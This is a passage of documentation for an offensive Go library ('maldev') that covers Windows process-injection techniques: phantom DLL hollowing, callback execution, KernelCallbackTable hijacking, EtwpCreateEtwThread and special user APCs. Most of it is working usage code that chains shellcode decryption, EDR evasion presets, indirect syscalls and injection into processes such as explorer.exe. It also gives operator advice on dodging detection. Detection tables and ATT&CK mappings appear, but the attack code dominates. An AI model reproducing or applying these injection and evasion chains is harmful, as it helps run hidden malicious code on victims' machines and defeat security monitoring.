pid— target. NeedsPROCESS_VM_OPERATION,PROCESS_VM_WRITE,PROCESS_QUERY_INFORMATION.dllName— System32 leaf (e.g."amsi.dll"). The package resolves to the absolute path under%SystemRoot%\System32\if no path is given.shellcode— bytes to write over.text. Must be ≤ the cover DLL's.textsize.opener— optionalstealthopen.Opener. Routes both the PE-parse read and theNtCreateSectionhandle through file-ID-based opens, bypassing path-based file-IO hooks. Passnilfor the path-based default.
Returns: error — wraps file-open / NtCreateSection /
NtMapViewOfSection / WriteProcessMemory / VirtualProtectEx
failures. Reports if the shellcode exceeds the cover DLL's .text.
Side effects: maps a SEC_IMAGE section into the target. The
mapping persists until the target exits.
OPSEC: does not trigger — caller must run the shellcode (e.g.
KernelCallbackExec, an APC, a thread).
Examples
Simple
import "github.com/oioio-space/maldev/inject"
if err := inject.PhantomDLLInject(targetPID, "amsi.dll", shellcode, nil); err != nil {
return err
}
// caller now triggers the shellcode separately.
Composed (stealthopen for the file open)
Defeat path-based EDR file hooks on amsi.dll:
import (
"os"
"path/filepath"
"github.com/oioio-space/maldev/evasion/stealthopen"
"github.com/oioio-space/maldev/inject"
)
sys32 := filepath.Join(os.Getenv("SYSTEMROOT"), "System32")
opener, _ := stealthopen.New(filepath.Join(sys32, "amsi.dll"))
defer opener.Close()
return inject.PhantomDLLInject(targetPID, "amsi.dll", shellcode, opener)
Advanced (phantom + KCT trigger)
End-to-end placement + execution:
import (
"github.com/oioio-space/maldev/inject"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
if err := inject.PhantomDLLInject(targetPID, "msftedit.dll", shellcode, nil); err != nil {
return err
}
caller := wsyscall.New(wsyscall.MethodIndirect, nil)
return inject.KernelCallbackExec(targetPID, shellcode, caller)
Complex (decrypt + stealthopen + phantom + trigger + wipe)
import (
"os"
"path/filepath"
"github.com/oioio-space/maldev/cleanup/memory"
"github.com/oioio-space/maldev/crypto"
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
"github.com/oioio-space/maldev/evasion/stealthopen"
"github.com/oioio-space/maldev/inject"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
caller := wsyscall.New(wsyscall.MethodIndirect, nil)
_ = evasion.ApplyAll(preset.Stealth(), caller)
shellcode, err := crypto.DecryptAESGCM(aesKey, encrypted)
if err != nil { return err }
memory.SecureZero(aesKey)
sys32 := filepath.Join(os.Getenv("SYSTEMROOT"), "System32")
opener, _ := stealthopen.New(filepath.Join(sys32, "amsi.dll"))
defer opener.Close()
if err := inject.PhantomDLLInject(targetPID, "amsi.dll", shellcode, opener); err != nil {
return err
}
memory.SecureZero(shellcode)
return inject.KernelCallbackExec(targetPID, shellcode, caller)
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
SEC_IMAGE section in a target backed by a DLL the target does not import | Sysmon Event 7 (ImageLoad) — anomaly when the host process does not depend on the cover DLL |
In-memory .text mismatch with the on-disk DLL | Image-integrity scanners — strong, slow detector |
Cross-process WriteProcessMemory to an image's .text | EDR userland hooks + ETW-Ti WriteVirtualMemory |
VirtualProtectEx flip on a loaded image | EDR allocation-protect telemetry |
D3FEND counters:
Hardening for the operator: route the file open through
stealthopen; pick a cover DLL that the
target is unlikely to actually import (so the load looks load-but-unused
rather than overlapping legitimate use); pair with ntdll unhooking.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1055.001 | Process Injection: DLL Injection | image-backed cross-process variant | D3-PCSV |
| T1574.002 | Hijack Execution Flow: DLL Side-Loading | adjacent — phantom DLL imitates side-loading without actual hijack | D3-SICA |
Limitations
WriteProcessMemorystill fires. The technique avoids the allocation anomaly (image-backed instead of heap), not the cross-process write itself.- Non-trigger.
PhantomDLLInjectonly places the shellcode. The caller picks the trigger (KernelCallbackExec, APC, thread). - Cover DLL must not be already loaded with dependencies in target.
If
amsi.dllis already mapped because AMSI is in use, the newSEC_IMAGEmapping conflicts. Pick a DLL the target does not load (verify via Process Explorer first). - Image-diff defeats it. Defenders that compare loaded
.textagainst the on-disk DLL win.
See also
- Module Stomping — local, in-process variant of the same technique.
- Section Mapping — non-image-backed cross-process placement.
- KernelCallbackTable — the canonical
trigger paired with
PhantomDLLInject. evasion/stealthopen— defeat path-based file-IO hooks on the cover DLL open.- Forrest Orr, Phantom DLL Hollowing, 2020 — original public write-up.
Callback-based execution
← injection index · docs/index
TL;DR
Run shellcode by handing its address to a Windows API that already
takes a function pointer as part of its normal contract — EnumWindows,
CreateTimerQueueTimer, CertEnumSystemStore, ReadDirectoryChangesW,
RtlRegisterWait, NtNotifyChangeDirectoryFile. The OS calls the
shellcode through its own dispatcher, so no Create*Thread* event
fires. Local technique only — pair with a separate primitive that places
the shellcode in executable memory.
Primer
Many Windows APIs accept callbacks as routine parameters: EnumWindows
calls a function for every top-level window, CreateTimerQueueTimer
fires one after a delay, CertEnumSystemStore invokes one per
certificate store, RtlRegisterWait triggers one when a kernel object
signals, and so on. If the implant aims any of those callbacks at its
shellcode, Windows itself executes the shellcode as part of a
documented API call.
The advantage is the absence of any thread-creation or APC-queue
syscall. EDRs that monitor NtCreateThreadEx, NtQueueApcThread, or
SetThreadContext see nothing. The shellcode runs on a thread that
already exists (the calling thread for EnumWindows/CertEnum, the
timer-queue thread for CreateTimerQueueTimer, a thread-pool worker
for RtlRegisterWait).
The technique is local-only: every callback executes in the calling
process. Pair with ModuleStomp or a manual
VirtualAlloc(RW) + memcpy + VirtualProtect(RX) to place the shellcode
in executable memory first; ExecuteCallback does not allocate.
How it works
flowchart TD
SC[shellcode in RX page] --> Pick{CallbackMethod}
Pick -->|EnumWindows| EW[user32!EnumWindows]
Pick -->|CreateTimerQueue| TQ[kernel32!CreateTimerQueueTimer]
Pick -->|CertEnumSystemStore| CE[crypt32!CertEnumSystemStore]
Pick -->|ReadDirectoryChanges| RD[kernel32!ReadDirectoryChangesW]
Pick -->|RtlRegisterWait| RW[ntdll!RtlRegisterWait]
Pick -->|NtNotifyChangeDirectory| NC[ntdll!NtNotifyChangeDirectoryFile]
EW --> CALL[Windows calls shellcode<br>as a normal API callback]
TQ --> CALL
CE --> CALL
RD --> CALL
RW --> CALL
NC --> CALL
The package selects the correct call shape and parameters for each
method. EnumWindows and CertEnumSystemStore invoke the shellcode
synchronously; CreateTimerQueueTimer fires it on the timer thread
with WT_EXECUTEINTIMERTHREAD; RtlRegisterWait and
NtNotifyChangeDirectoryFile deliver it via a thread-pool worker or
APC dispatcher.
[!IMPORTANT] CET enforcement — on Windows 11 with
ProcessUserShadowStackPolicyenabled, two of the six methods (CallbackRtlRegisterWait,CallbackNtNotifyChangeDirectory) require the shellcode to start with theENDBR64instruction (F3 0F 1E FA) or the kernel terminates the process withSTATUS_STACK_BUFFER_OVERRUN.The package now ships a CET-aware helper that handles this automatically:
// Auto-prepends ENDBR64 when MethodEnforcesCET(method) AND cet.Enforced(). err := inject.ExecuteCallbackBytes(shellcode, inject.CallbackRtlRegisterWait)
ExecuteCallbackBytes(sc, method)checksMethodEnforcesCET(method)andcet.Enforced()and, when both hold, callscet.Wrap(sc)before allocating + invokingExecuteCallback. On non-CET hosts it's equivalent to a plain alloc + ExecuteCallback chain.Operators who want manual control still call
evasion/cet.Wrap(sc)themselves and feed the result toExecuteCallback(addr, method), orevasion/cet.Disable()once at start-up to opt the whole process out.
API Reference
inject.CallbackMethod
Enum identifying which API the dispatcher routes through. Values:
| Constant | API | Thread context | CET-affected |
|---|---|---|---|
CallbackEnumWindows | user32!EnumWindows | calling thread | no |
CallbackCreateTimerQueue | kernel32!CreateTimerQueueTimer | timer thread | no |
CallbackCertEnumSystemStore | crypt32!CertEnumSystemStore | calling thread | no |
CallbackReadDirectoryChanges | kernel32!ReadDirectoryChangesW | calling thread (sync) | no |
CallbackRtlRegisterWait | ntdll!RtlRegisterWait | thread-pool worker | yes |
CallbackNtNotifyChangeDirectory | ntdll!NtNotifyChangeDirectoryFile | APC dispatcher | yes |
inject.ExecuteCallback(addr uintptr, method CallbackMethod) error
Invoke the shellcode at addr through the chosen callback API.
Parameters:
addr— pointer to executable memory holding the shellcode. The caller must have placed it there beforehand (RX-protected).method— one of theCallbackMethodconstants.
Returns: error — propagates the underlying API error, plus a
sentinel for unknown methods.
Side effects: depends on the chosen method — CreateTimerQueueTimer
allocates a timer queue, ReadDirectoryChangesW opens
C:\Windows\Temp, CertEnumSystemStore enumerates certificate stores.
None of the callback APIs persist state after the call returns.
OPSEC: very low signal on thread-creation telemetry; medium on behavioural telemetry — the same six APIs in known-bad-behaviour rules exist in MDE / Defender catalogues.
Examples
Simple — bytes (CET-aware, recommended)
import "github.com/oioio-space/maldev/inject"
// Auto-wraps with ENDBR64 when MethodEnforcesCET(method) AND
// cet.Enforced(). Allocates RW, copies, flips RX, calls
// ExecuteCallback. One line, no manual fiddling.
_ = inject.ExecuteCallbackBytes(shellcode, inject.CallbackRtlRegisterWait)
Simple — manual (operator-controlled allocation)
The shellcode must already be in executable memory. Use this path
when the operator wants explicit control over allocation (e.g.,
to feed inject.ModuleStomp an image-backed region):
import (
"unsafe"
"github.com/oioio-space/maldev/inject"
"golang.org/x/sys/windows"
)
addr, _ := windows.VirtualAlloc(0, uintptr(len(shellcode)),
windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
copy(unsafe.Slice((*byte)(unsafe.Pointer(addr)), len(shellcode)), shellcode)
var old uint32
_ = windows.VirtualProtect(addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, &old)
_ = inject.ExecuteCallback(addr, inject.CallbackEnumWindows)
Composed (with inject.ModuleStomp)
Hide the executable region inside a legitimate System32 DLL's .text
section, then trigger:
import "github.com/oioio-space/maldev/inject"
addr, err := inject.ModuleStomp("msftedit.dll", shellcode)
if err != nil { return err }
return inject.ExecuteCallback(addr, inject.CallbackCreateTimerQueue)
Advanced (with CET wrapping for thread-pool callbacks)
Some callback paths require the ENDBR64 prefix on Windows 11:
import (
"github.com/oioio-space/maldev/evasion/cet"
"github.com/oioio-space/maldev/inject"
)
prepared := cet.Wrap(shellcode)
addr, _ := inject.ModuleStomp("msftedit.dll", prepared)
_ = inject.ExecuteCallback(addr, inject.CallbackRtlRegisterWait)
Complex (full chain — evade + stomp + callback + cleanup)
import (
"github.com/oioio-space/maldev/cleanup/memory"
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/cet"
"github.com/oioio-space/maldev/evasion/preset"
"github.com/oioio-space/maldev/inject"
)
_ = evasion.ApplyAll(preset.Stealth(), nil)
prepared := cet.Wrap(shellcode)
addr, err := inject.ModuleStomp("msftedit.dll", prepared)
if err != nil { return err }
if err := inject.ExecuteCallback(addr, inject.CallbackNtNotifyChangeDirectory); err != nil {
return err
}
memory.SecureZero(prepared)
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
EnumWindows callback pointing into a non-image region | EDR memory scanners (CrowdStrike, MDE Live Response) — orphan callbacks lit up |
Sudden RtlRegisterWait from a non-system process with a callback in heap | Userland hooks + ETW Microsoft-Windows-Threadpool |
CertEnumSystemStore from a non-crypto-aware process | Behavioural rule (rare; Defender flags the chain when paired with downloaded payloads) |
File-watch on C:\Windows\Temp from a process that does not file-watch | Sysmon Event 12/13 (no direct event) but EDR file-IO baselines |
| RW page promoted to RX in non-image region | Allocation-protect telemetry — flag the VirtualProtect to RX |
D3FEND counters:
- D3-PCSV — verifies callback pointers against image segments.
- D3-EAL — WDAC denies execution from non-image-backed pages.
Hardening for the operator: combine with ModuleStomp
so the callback pointer falls inside a legitimate DLL's .text
section; rotate CallbackMethod between runs to defeat
behaviour-rule fingerprinting; never run the same EnumWindows
trigger twice in a row.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1055.001 | Process Injection: DLL Injection | callback variant — no thread creation | D3-PCSV |
| T1055.015 | Process Injection: ListPlanting | CreateTimerQueueTimer family | D3-PCSV |
Limitations
- Local only. All six methods execute in the calling process.
Cross-process work needs a different primitive
(
SectionMapInject,KernelCallbackTable). ExecuteCallbackdoes not allocate. The address must already point at RX memory. UseExecuteCallbackBytesfor the alloc-flip-call path, or pair withModuleStomp/VirtualAlloc + VirtualProtectfor image-backed memory.- CET on two methods, auto-handled.
CallbackRtlRegisterWaitandCallbackNtNotifyChangeDirectoryrequire theENDBR64prefix on Win11+ with shadow stacks enforced.inject.MethodEnforcesCET(method)reports which methods need the prefix;inject.ExecuteCallbackBytes(sc, method)checks that predicate againstcet.Enforced()andcet.Wraps the shellcode automatically. Operators who pre-allocate themselves mustcet.Wrap(orcet.Disableonce at start-up) before passing the address toExecuteCallback. - Synchronous methods block.
EnumWindowsandCertEnumSystemStorereturn only after the shellcode finishes. The shellcode must return cleanly (return 0) — long-running payloads should hand off to a fiber or thread internally. - Thread-pool worker context.
CallbackRtlRegisterWaitruns on a thread the implant did not create; locked OS resources held there are unfamiliar territory.
See also
- Module Stomping — the canonical pair to place the shellcode in executable memory.
- Thread Pool — a different self-injection path that also avoids thread creation.
evasion/cet— CET shadow stack handling for the two affected callback methods.- Process Injection Techniques — modexp/SafeBreach — community catalogue of the same callback-API patterns.
KernelCallbackTable hijacking
← injection index · docs/index
TL;DR
Every Windows process holds a KernelCallbackTable pointer in its
PEB — a table of user-mode dispatch routines that the kernel calls
back into for window-message handling. Overwrite the
__fnCOPYDATA (index 3) slot in the target's table with the
shellcode address, send the target window a WM_COPYDATA message,
restore the original slot. Cross-process, no CreateThread, no APC.
Primer
Windows' window-message dispatcher is split between the kernel and
user mode. Certain messages (paint, copy-data, draw-icon, …) require
the kernel to call back into the target process's user-mode code. To
make that work, every process has a KernelCallbackTable pointer in
its PEB; the kernel looks up the right callback by index and invokes
it. The table is read-write user-mode memory; nothing prevents another
process with PROCESS_VM_WRITE access from mutating an entry.
The implant takes the target's PEB address (via
NtQueryInformationProcess), reads the KernelCallbackTable pointer,
overwrites the __fnCOPYDATA slot (index 3) with the shellcode
address, finds a window owned by the target with EnumWindows, sends
it a WM_COPYDATA message, and waits for the kernel to dispatch.
The kernel calls the slot — now pointing at the shellcode — as the
target's main UI thread. The implant restores the original pointer
afterwards.
Saif/Hexacorn published the family in 2020; ProjectXeno used a
related variant in the wild. EDR coverage varies — the cross-process
PEB write and the WM_COPYDATA send are the only loud syscalls.
How it works
sequenceDiagram
participant Impl as "Implant"
participant Kern as "Kernel"
participant Tgt as "Target"
Impl->>Kern: NtQueryInformationProcess(target, ProcessBasicInformation)
Kern-->>Impl: PEB address
Impl->>Kern: NtAllocateVirtualMemory(target, RW)
Impl->>Kern: NtWriteVirtualMemory(shellcode)
Impl->>Kern: NtProtectVirtualMemory(target, RX)
Impl->>Kern: NtReadVirtualMemory(target.PEB.KernelCallbackTable)
Kern-->>Impl: kctAddress
Impl->>Kern: NtReadVirtualMemory(kctAddress[3]) [save original]
Kern-->>Impl: orig
Impl->>Kern: NtWriteVirtualMemory(kctAddress[3] = shellcode)
Impl->>Tgt: SendMessage(hwnd, WM_COPYDATA, ...)
Note over Tgt: kernel dispatches via __fnCOPYDATA<br>→ shellcode runs
Impl->>Kern: NtWriteVirtualMemory(kctAddress[3] = orig) [restore]
Steps:
- Resolve the target's PEB via
NtQueryInformationProcess(ProcessBasicInformation). - Allocate / write / protect the shellcode in the target.
- Read
PEB.KernelCallbackTableto find the table address. - Save the current
[3]slot value. - Overwrite
[3]with the shellcode address. - Find a window owned by
pid(EnumWindowsfiltered byGetWindowThreadProcessId). - Send
WM_COPYDATAto that window. - The kernel dispatches via the modified slot — shellcode runs.
- Restore the original
[3]value.
API Reference
inject.KernelCallbackExec(pid int, shellcode []byte, caller *wsyscall.Caller) error
Inject shellcode into pid via the KernelCallbackTable
__fnCOPYDATA slot.
Parameters:
pid— target with at least one top-level window. Must allowPROCESS_QUERY_INFORMATION,PROCESS_VM_OPERATION,PROCESS_VM_READ,PROCESS_VM_WRITE.shellcode— bytes to execute as the dispatch callback. Must be a function-shaped routine (return cleanly).caller— optional*wsyscall.Caller. Routes Nt calls when non-nil.
Returns: error — wraps NT failures, "no window for PID" when
the target has no top-level windows, or restoration errors after the
shellcode returns.
Side effects: allocates RX memory in the target. Mutates and
restores one entry of the target's KernelCallbackTable. Sends a
synthetic WM_COPYDATA to a target window.
OPSEC: the cross-process PEB read + write pair is the strongest
signal; the WM_COPYDATA itself is normal IPC.
[!CAUTION] The slot restoration runs after the shellcode returns. Long-running or non-returning shellcode leaves the table corrupted — the next legitimate
WM_COPYDATAarrival jumps to whatever the shellcode left in place. Use a small bootstrap stub that returns immediately after detaching the real payload.
Examples
Simple
import "github.com/oioio-space/maldev/inject"
if err := inject.KernelCallbackExec(targetPID, shellcode, nil); err != nil {
return err
}
Composed (indirect syscalls)
import (
"github.com/oioio-space/maldev/inject"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
caller := wsyscall.New(wsyscall.MethodIndirect,
wsyscall.Chain(wsyscall.NewHellsGate(), wsyscall.NewHalosGate()))
return inject.KernelCallbackExec(targetPID, shellcode, caller)
Advanced (evade + KCT inject)
import (
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
"github.com/oioio-space/maldev/inject"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
caller := wsyscall.New(wsyscall.MethodIndirect,
wsyscall.Chain(wsyscall.NewHellsGate(), wsyscall.NewHalosGate()))
_ = evasion.ApplyAll(preset.Stealth(), caller)
return inject.KernelCallbackExec(targetPID, shellcode, caller)
Complex (decrypt + target a UI process + inject + wipe)
import (
"github.com/oioio-space/maldev/cleanup/memory"
"github.com/oioio-space/maldev/crypto"
"github.com/oioio-space/maldev/inject"
"github.com/oioio-space/maldev/process/enum"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
shellcode, err := crypto.DecryptAESGCM(aesKey, encrypted)
if err != nil { return err }
memory.SecureZero(aesKey)
target, err := enum.FindByName("explorer.exe")
if err != nil { return err }
caller := wsyscall.New(wsyscall.MethodIndirect, nil)
if err := inject.KernelCallbackExec(target.PID, shellcode, caller); err != nil {
return err
}
memory.SecureZero(shellcode)
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
| Cross-process write into a target's PEB region | Userland EDR hooks on NtWriteVirtualMemory; kernel ETW-Ti (Microsoft-Windows-Threat-Intelligence) emits WriteVirtualMemory events |
Mutation of KernelCallbackTable[3] (__fnCOPYDATA) | Behavioural EDR rule (CrowdStrike, MDE) — the slot is rarely modified outside this technique |
WM_COPYDATA sent across process boundaries from an unusual sender | Windows-event-log heuristics; rare standalone signal |
Synthetic WM_COPYDATA to a process whose receiver does not normally accept it | Application-level anomaly (e.g. notepad.exe receiving copy-data) |
D3FEND counters:
- D3-PSA — flags the cross-process PEB read/write pair.
- D3-PCSV — verifies callback-table slots against image segments.
Hardening for the operator: target a UI-rich process whose
message pump runs continuously (explorer.exe, RuntimeBroker.exe);
restore the slot before any second message can arrive; pair with
ntdll unhooking so the cross-process Nt calls dodge userland hooks.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1055.001 | Process Injection: DLL Injection | callback-table variant — no CreateThread cross-process | D3-PSA |
Limitations
- Target needs a window. Console-only and service processes have
no top-level window;
KernelCallbackExecreturns an error. - Slot restoration is best-effort. If the shellcode does not return cleanly, the table stays poisoned and the next legitimate message dispatch crashes the target. Use a stub that returns immediately after detaching the payload.
- Cross-process write still happens.
NtWriteVirtualMemoryruns twice (allocation + table mutation). EDR-Ti will see it; pair with unhooking to defeat userland-hook variants only. - No PPL targets. PPL processes deny cross-process VM operations.
See also
- Section Mapping — alternative cross-process
technique that avoids
WriteProcessMemoryentirely. - Phantom DLL — same target shape with image-backed shellcode placement.
evasion/unhook— ntdll unhooking to defeat userland-hook telemetry.- Hexacorn, KernelCallbackTable hijack, 2020 — original public write-up.
- Check Point Research, FinFisher exposed — in-the-wild use of related primitives.
EtwpCreateEtwThread injection
← injection index · docs/index
TL;DR
Self-injection via the internal ntdll!EtwpCreateEtwThread —
ETW's private thread-creation routine. Allocates RX in the current
process, writes shellcode, calls the routine with the shellcode
address as the start point. Same end result as NtCreateThreadEx,
but the underlying call is unexported and rarely hooked. Self-process
only.
Primer
ETW (Event Tracing for Windows) maintains its own helper threads for
trace-buffer management. Internally ntdll exposes the
EtwpCreateEtwThread routine to spawn those helpers. The routine
boils down to NtCreateThreadEx with ETW-specific flags and a small
trampoline, but it is not exported by name — EDR products that
hook NtCreateThreadEx for thread-creation telemetry typically do not
also hook the private ETW routine.
The implant resolves EtwpCreateEtwThread by symbol lookup or hashed
PEB walk, allocates an RX page in itself, and calls the routine with
the shellcode address as the start point. A real OS thread starts at
the shellcode — same outcome as CreateThread, far quieter on
userland-hook telemetry.
This is self-process only. Cross-process work needs a different primitive.
How it works
flowchart LR
A[VirtualAlloc RW] --> B[memcpy shellcode]
B --> C[VirtualProtect → RX]
C --> D[resolve ntdll!EtwpCreateEtwThread]
D --> E[invoke EtwpCreateEtwThread<br>start = shellcode]
E --> F[new OS thread runs shellcode]
Steps:
- Allocate / write / protect in the current process (RW → RX).
- Resolve
ntdll!EtwpCreateEtwThreadviaGetProcAddress, manual export-table walk, or a hashed PEB walk. - Call the routine with the shellcode address as the start parameter.
The internal routine ends up calling NtCreateThreadEx itself; the
kernel's thread-creation telemetry still fires (PsSetCreateThreadNotifyRoutine).
What the technique evades is the userland-hook layer that EDR
products typically install on the documented CreateThread family.
API Reference
This injection mode is selected via Method. The package does not
expose EtwpCreateEtwThread as a top-level helper — drive it through
the standard Injector / Builder paths.
Method = MethodEtwpCreateEtwThread
The constant "etwthr". Self-injection only — Config.PID must be
0 (current process) or unset.
Builder pattern
inj, err := inject.Build().
Method(inject.MethodEtwpCreateEtwThread).
IndirectSyscalls().
Create()
SelfInjector is implemented; the freshly-allocated region is
recoverable via InjectedRegion for sleep masking or wiping.
Examples
Simple
import "github.com/oioio-space/maldev/inject"
cfg := inject.DefaultWindowsConfig(inject.MethodEtwpCreateEtwThread, 0)
inj, err := inject.NewWindowsInjector(cfg)
if err != nil { return err }
return inj.Inject(shellcode)
Composed (with SelfInjector for sleep masking)
import (
"time"
"github.com/oioio-space/maldev/evasion/sleepmask"
"github.com/oioio-space/maldev/inject"
)
inj, err := inject.Build().
Method(inject.MethodEtwpCreateEtwThread).
IndirectSyscalls().
Create()
if err != nil { return err }
if err := inj.Inject(shellcode); err != nil { return err }
if self, ok := inj.(inject.SelfInjector); ok {
if r, ok := self.InjectedRegion(); ok {
mask := sleepmask.New(sleepmask.Region{Addr: r.Addr, Size: r.Size})
for {
mask.Sleep(30 * time.Second)
}
}
}
Advanced (decrypt + ETWP inject + sleep mask)
import (
"time"
"github.com/oioio-space/maldev/cleanup/memory"
"github.com/oioio-space/maldev/crypto"
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
"github.com/oioio-space/maldev/evasion/sleepmask"
"github.com/oioio-space/maldev/inject"
)
_ = evasion.ApplyAll(preset.Stealth(), nil)
shellcode, err := crypto.DecryptAESGCM(aesKey, encrypted)
if err != nil { return err }
memory.SecureZero(aesKey)
inj, err := inject.Build().
Method(inject.MethodEtwpCreateEtwThread).
IndirectSyscalls().
Create()
if err != nil { return err }
if err := inj.Inject(shellcode); err != nil { return err }
memory.SecureZero(shellcode)
if self, ok := inj.(inject.SelfInjector); ok {
if r, ok := self.InjectedRegion(); ok {
mask := sleepmask.New(sleepmask.Region{Addr: r.Addr, Size: r.Size})
for {
mask.Sleep(60 * time.Second)
}
}
}
Complex
The Pipeline API has no dedicated EtwpCreateEtwThreadExecutor;
the named-method path is canonical. To experiment with custom
executors, replicate the resolve-and-call snippet from
inject/injector_self_windows.go.
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
Userland hooks on NtCreateThreadEx / CreateThread | Bypassed — EtwpCreateEtwThread is unexported |
Kernel PsSetCreateThreadNotifyRoutine callback | Still fires — the kernel sees a normal thread creation |
| Stack-walking on the new thread | The start address points into a non-image RX region — same orphan signal as CreateRemoteThread |
EtwpCreateEtwThread invocation from a non-ETW caller | Niche EDR rule — most products do not key on it; mature ETW-aware EDRs (CrowdStrike) do |
D3FEND counters:
- D3-PSA — kernel callback still surfaces the new thread.
- D3-PCSV — verifies the start address against image segments.
Hardening for the operator: combine with evasion/callstack
to fake the call site so stack-walking telemetry does not trivially
flag the orphan thread; pair with evasion/sleepmask
to encrypt the RX region between activations.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1055 | Process Injection | self-process variant via internal ntdll routine | D3-PSA |
Limitations
- Self-process only. The routine starts a thread in the calling process. No PID parameter.
- Not a kernel-callback bypass.
PsSetCreateThreadNotifyRoutinestill fires. The technique evades userland-hook telemetry only. - Undocumented.
EtwpCreateEtwThreadis internal to ntdll. Future Windows builds may rename, relocate, or remove it. The package's resolver caches the address; verify after major OS updates. - Stack walks still expose orphan threads. Pair with callstack spoofing for thorough coverage.
See also
- CreateRemoteThread — the documented variant.
- NtQueueApcThreadEx — alternative self-process path with no thread creation event at all.
evasion/callstack— fake the call site of the spawned thread.evasion/sleepmask— encrypt the RX region during inactive periods.
NtQueueApcThreadEx — special user APC
← injection index · docs/index
TL;DR
Cross-process APC injection that fires immediately at the next
kernel-to-user transition, without the target needing to enter an
alertable wait. Win10 1903+ only. Allocate / write / protect in the
target as usual, then queue the APC with the
QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC flag — the kernel delivers it
on any thread the next time control returns to user mode.
Primer
Standard QueueUserAPC only fires when the target thread enters an
alertable wait (SleepEx, WaitForSingleObjectEx, …). Many real
processes never enter alertable waits, so the classic APC technique
either silently fails or relies on Early Bird's spawned-suspended
trick. Special User APCs, introduced in Windows 10 build 18362
(version 1903), fire on the next kernel-to-user mode transition,
regardless of wait state — the kernel forces the APC dispatch.
The flag (1 / QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC) is exposed
via the undocumented NtQueueApcThreadEx. Pass it on a thread handle
opened with THREAD_SET_CONTEXT, and the kernel inserts a special-APC
record that fires on the very next KiUserApcDispatcher return — which
happens within microseconds for any actively-running thread.
The package enumerates threads of the target, tries each in turn, and
stops at the first successful queue. Falls back to standard
QueueUserAPC and then CreateRemoteThread when WithFallback() is
set.
How it works
sequenceDiagram
participant Impl as "Implant"
participant Kern as "Kernel"
participant Tgt as "Target"
Impl->>Kern: OpenProcess(VM_OPERATION | VM_WRITE | VM_READ)
Kern-->>Impl: hProcess
Impl->>Kern: NtAllocateVirtualMemory(target, RW)
Impl->>Kern: NtWriteVirtualMemory(shellcode)
Impl->>Kern: NtProtectVirtualMemory(target, RX)
Impl->>Kern: enumerate threads of target
loop until first success
Impl->>Kern: NtOpenThread(tid, THREAD_SET_CONTEXT)
Impl->>Kern: NtQueueApcThreadEx(hThread, FLAG=1, remoteAddr)
end
Note over Tgt: next KiUserApcDispatcher return<br>fires the special APC
Tgt->>Tgt: shellcode runs
Steps:
- Open the target with
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ. - Allocate / write / protect in the target.
- Enumerate threads via
CreateToolhelp32Snapshot(orNtQuerySystemInformationif the caller demands it). - For each thread: open with
THREAD_SET_CONTEXT, callNtQueueApcThreadEx(hThread, 1, addr, 0, 0, 0). - First success terminates the loop. The APC fires on the next kernel→user transition.
Standard APC vs special APC
| Aspect | QueueUserAPC (standard) | NtQueueApcThreadEx (special) |
|---|---|---|
| Alertable wait required | yes | no |
| Minimum Windows version | XP+ | 10 1903 (build 18362) |
| API documentation | documented (kernel32) | undocumented (ntdll) |
| Suspended process required | typically (Early Bird) | no |
| Delivery timing | when thread enters alertable wait | next kernel→user transition |
| EDR monitoring | well-known | less observed but ETW-Ti emits |
API Reference
Method = MethodNtQueueApcThreadEx
The constant "apcex". Pass to Config.Method or
InjectorBuilder.Method.
Builder pattern
inj, err := inject.Build().
Method(inject.MethodNtQueueApcThreadEx).
TargetPID(pid).
IndirectSyscalls().
WithFallback().
Create()
inject.NewWindowsInjector(cfg *WindowsConfig) (Injector, error)
cfg := &inject.WindowsConfig{
Config: inject.Config{Method: inject.MethodNtQueueApcThreadEx, PID: pid},
SyscallMethod: wsyscall.MethodIndirect,
}
inj, err := inject.NewWindowsInjector(cfg)
Examples
Simple
inj, err := inject.Build().
Method(inject.MethodNtQueueApcThreadEx).
TargetPID(targetPID).
Create()
if err != nil { return err }
return inj.Inject(shellcode)
Composed (indirect syscalls + fallback)
inj, err := inject.Build().
Method(inject.MethodNtQueueApcThreadEx).
TargetPID(targetPID).
IndirectSyscalls().
WithFallback().
Create()
if err != nil { return err }
return inj.Inject(shellcode)
Advanced (evade + locate target + special APC)
import (
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
"github.com/oioio-space/maldev/inject"
"github.com/oioio-space/maldev/process/enum"
)
_ = evasion.ApplyAll(preset.Stealth(), nil)
procs, err := enum.FindByName("notepad.exe")
if err != nil || len(procs) == 0 {
return errors.New("target not found")
}
inj, err := inject.Build().
Method(inject.MethodNtQueueApcThreadEx).
TargetPID(int(procs[0].PID)).
IndirectSyscalls().
Create()
if err != nil { return err }
return inj.Inject(shellcode)
Complex (decrypt + special APC + wipe)
import (
"github.com/oioio-space/maldev/cleanup/memory"
"github.com/oioio-space/maldev/crypto"
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
"github.com/oioio-space/maldev/inject"
)
_ = evasion.ApplyAll(preset.Stealth(), nil)
shellcode, err := crypto.DecryptAESGCM(aesKey, encrypted)
if err != nil { return err }
memory.SecureZero(aesKey)
inj, err := inject.Build().
